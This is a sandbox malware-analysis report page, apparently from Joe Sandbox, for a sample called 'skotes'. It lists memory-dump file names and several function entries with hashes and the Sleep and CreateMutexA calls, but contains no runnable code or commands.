Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3ea89dd77485d3d489b7fcd689a6fac4efb2d8fef8a299afd2dec1bdb3bf7de2
Instruction ID: 2434aa74d366bc6b9b80591542472106df1d932fd0544fdcb7f1ea7bfb46993d
Opcode Fuzzy Hash: 3ea89dd77485d3d489b7fcd689a6fac4efb2d8fef8a299afd2dec1bdb3bf7de2
Instruction Fuzzy Hash: DAE08630100188AFCE297B15DC5DA8C3F99FB617D1F940905F98446121CB35ED41C540

Function 005B9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 8f359323aebd51566fdaa7e92bace6be3e7c120dd414463bdb144651209a7fda
Instruction ID: 2c371f47503c92e9f0e327eef14654bfa34687d83f05074e88af1b2fa83adae7
Opcode Fuzzy Hash: 8f359323aebd51566fdaa7e92bace6be3e7c120dd414463bdb144651209a7fda
Instruction Fuzzy Hash: 143118717042059BEB089B68DCCDBEEBFA2FBD1310F248218E014E73D6C77569818751

Function 005B9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 5c9b9763b14687932767c5bde3677b2a97026bfa6484ddedd85be6fe1b812d37
Instruction ID: 5931ee5712662f70288fa1139f3f51f882a82d37213beea6d2b962998803682b
Opcode Fuzzy Hash: 5c9b9763b14687932767c5bde3677b2a97026bfa6484ddedd85be6fe1b812d37
Instruction Fuzzy Hash: AD3128317002059BEB08AB68DCCDBEDBF62FBD5310F244619E014E72D5D776A9808712

Function 005BA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 697f28311470f754adff137db7509ca7afffbaa8776e9e5dca8594fc56d30bda
Instruction ID: 1f62858ab3fa3020bd4e5943d56fa4af39c4600d0fbf7d81775ac4ed65472954
Opcode Fuzzy Hash: 697f28311470f754adff137db7509ca7afffbaa8776e9e5dca8594fc56d30bda
Instruction Fuzzy Hash: BE31E2717102459BEB18AB6CDC8DBEDBFA2FB91310F248619E014A72D5C776A980C722

Function 005BA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
